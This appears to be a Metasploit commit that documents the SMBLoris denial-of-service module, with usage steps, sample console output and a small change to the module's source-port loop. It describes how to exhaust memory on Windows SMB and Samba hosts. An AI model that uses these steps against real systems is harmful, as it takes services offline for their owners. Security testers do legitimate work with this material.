add module documentation

add module docs for the new smbloris DoS

Author: David Maloney

documentation/modules/auxiliary/dos/smb/smb_lorris.md

@@ -0,0 +1,43 @@
+## Vulnerable Application
+
+  This module exploits a vulnerability in the NetBIOS Session Service Header for SMB.
+  Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable.
+  See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability.
+  
+  The module opens over 64,000 connections to the target service, so please make sure
+  your system ULIMIT is set appropriately to handle it. A single host running this module
+  can theoretically consume up to 8GB of memory on the target.
+
+## Verification Steps
+
+  Example steps in this format (is also in the PR):
+
+  1. Start msfconsole
+  1. Do: `use auxiliary/dos/smb/smb_lorris`
+  1. Do: `set RHOST [IP]`
+  1. Do: `run`
+  1. Target should allocate increasing amounts of memory.
+
+## Scenarios
+
+### 
+
+```
+msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
+msf auxiliary(smb_loris) > set RHOST 192.168.172.138
+RHOST => 192.168.172.138
+msf auxiliary(smb_loris) >
+
+msf auxiliary(smb_loris) > run
+
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
+....
+```

modules/auxiliary/dos/smb/smb_loris.rb

@@ -27,6 +27,9 @@ def initialize(info = {})
         large numbers of these sessions, the memory does not get freed, and the server
         grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
         and Zach Harding.
+
+        DISCALIMER: This module opens a lot of simultaneous connections. Please check
+        your system's ULIMIT to make sure it can handle it.
       },
       'Author'          =>
         [
@@ -52,7 +55,8 @@ def run
 
     linger = Socket::Option.linger(true, 60)
 
-    (1..65535).each do |src_port|
+
+    (1025..65535).each do |src_port|
       print_status "Sending packet from Source Port: #{src_port}"
       opts = {
         'CPORT'           => src_port,